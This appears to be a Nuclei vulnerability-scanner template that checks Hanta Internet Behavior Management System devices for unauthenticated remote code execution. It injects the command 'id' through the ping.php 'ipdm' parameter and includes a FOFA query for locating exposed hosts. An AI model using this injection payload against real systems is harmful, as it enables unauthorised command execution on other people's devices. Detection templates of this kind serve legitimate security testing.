hanta-rce: Hanta Internet Behavior Management System - Remote Code Execution

id: hanta-rce

info:
  name: Hanta Internet Behavior Management System - Remote Code Execution
  author: momika233
  severity: high
  description: Hanta Internet Behavior Management System is vulnerable to RCE.
  classification:
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="汉塔科技上网行为管理系统"
  tags: hanta,rce,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dgn/dgn_tools/ping.php?ipdm=2;id;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022039f4dcaa0edb2388a57a4590883df138d4b9eb136c9f9d1b6246dbdc7857cd53022100e99a1096e8b69dcb80908d06d24252ba93a0b9af7a48f18f64293dae4fb0cfe8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.